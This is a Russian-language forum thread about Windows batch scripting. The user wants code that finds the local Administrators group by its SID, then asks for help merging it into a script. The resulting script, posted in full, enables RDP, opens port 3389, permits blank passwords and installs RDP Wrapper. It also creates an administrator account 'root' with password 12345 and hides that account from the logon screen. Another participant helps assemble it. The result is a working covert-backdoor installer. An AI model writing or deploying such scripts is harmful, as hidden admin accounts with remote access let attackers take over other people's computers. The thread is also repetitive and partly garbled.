CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
-
DetFedot
CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
Нужно сделать код какой будет автоматически определять группа администраторов на любой системе.
-
DetFedot
Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
Well-known security identifiers in Windows operating systems
Код:
Код: Выделить всё
@echo off
setlocal enableextensions enabledelayedexpansion
for /f "usebackq delims=" %%i in (
`wmic.exe Group where "LocalAccount=TRUE AND SID = 'S-1-5-32-544'" get Name /value ^| find.exe /i "Name"`
) do set sAdminGroup%%i
if defined sAdminGroupName (
echo [%sAdminGroupName%]
)
endlocal
exit /b 0-
DetFedot
Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
А можно сделать так чтоб сохранялся txt документ с паролем от пользователя в коде
Код:
Код:
Код: Выделить всё
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v limitblankpassworduse /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
"RDPWInst.exe" -i -o
"RDPWInst.exe" -w-
DetFedot
Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
А как его можно совместить с RDP
Код:
Код:
Код: Выделить всё
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
net user root /add
net localgroup Administrator root /add
net user root 12345
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v root /t REG_DWORD /d 0 /f
"RDPWInst.exe" -i -o
"RDPWInst.exe" -w-
Iska
Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
Код:
Код: Выделить всё
…
if defined sAdminGroupName (
net.exe localgroup "%sAdminGroupName%" "root" /add
)
…-
DetFedot
Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
Цитата DetFedot:
Примерно должно так получится
Если это утверждение — то оно неверное. Если вопрос — то на выбор два ответа: «Не должно» и «Не так».
Примерно должно так получится
CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
Если это утверждение — то оно неверное. Если вопрос — то на выбор два ответа: «Не должно» и «Не так».
-
Iska
Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
А можете помочь как мне его луче поместить в код чтоб он работал
-
DetFedot
Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
А можете помочь как мне его луче поместить в код чтоб он работал
-
DetFedot
Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
Код:
Код: Выделить всё
@echo off
setlocal enableextensions enabledelayedexpansion
for /f "usebackq delims=" %%i in (
`wmic.exe Group where "LocalAccount=TRUE AND SID = 'S-1-5-32-544'" get Name /value ^| find.exe /i "Name"`
) do set sAdminGroup%%i
reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0 /f
reg.exe add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d 1 /f
netsh.exe advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
net.exe user "root" "12345" /add
if defined sAdminGroupName (
net.exe localgroup "%sAdminGroupName%" "root" /add
)
reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "root" /t REG_DWORD /d 0 /f
"RDPWInst.exe" -i -o
"RDPWInst.exe" -w
endlocal
exit /b 0-
DetFedot
Re: CMD/BAT - [решено] автоматически определять группу администраторов на любой системе
А может тогда помочь реализовать и другой RDP код
Код:
Код:
Код: Выделить всё
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v limitblankpassworduse /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="allow RDP" dir=in protocol=TCP localport=3389 action=allow
"RDPWInst.exe" -i -o
"RDPWInst.exe" -w